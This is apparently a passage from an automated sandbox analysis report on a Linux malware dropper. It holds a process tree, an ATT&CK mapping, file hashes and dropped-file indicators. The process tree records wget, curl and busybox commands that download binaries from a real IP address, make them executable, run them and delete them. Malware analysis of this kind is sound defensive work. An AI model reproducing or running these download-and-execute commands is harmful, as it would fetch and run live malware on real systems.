  ./wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  - Executes dropped EXE
  PID:945
- /bin/rm
  rm wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  PID:946
- /usr/bin/wget
  wget http://87.120.84.230/bins/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  PID:947
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  PID:949
- /bin/chmod
  chmod 777 yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  ./yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  PID:952
- /usr/bin/wget
  wget http://87.120.84.230/bins/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  PID:953

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N

Filesize
153B

MD5
998368d7c95ea4293237f2320546e440

SHA1
30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

SHA256
533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

SHA512
648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97

Download Submit

ioc	pid	Process
/tmp/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N	722	wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
/tmp/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3	729	yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
/tmp/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU	741	v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
/tmp/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O	789	JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
/tmp/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ	804	ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
/tmp/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4	826	OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
/tmp/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP	837	dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
/tmp/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U	843	4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
/tmp/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx	849	M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
/tmp/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ	855	UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
/tmp/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP	861	NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
/tmp/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf	867	oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
/tmp/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU	873	NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
/tmp/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe	879	uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
/tmp/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx	885	M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
/tmp/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4	891	OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
/tmp/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP	897	dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
/tmp/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U	903	4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
/tmp/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe	909	uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
/tmp/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ	915	UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
/tmp/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP	921	NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
/tmp/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf	927	oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
/tmp/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU	933	NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
/tmp/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU	939	v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
/tmp/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N	945	wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
/tmp/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3	951	yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3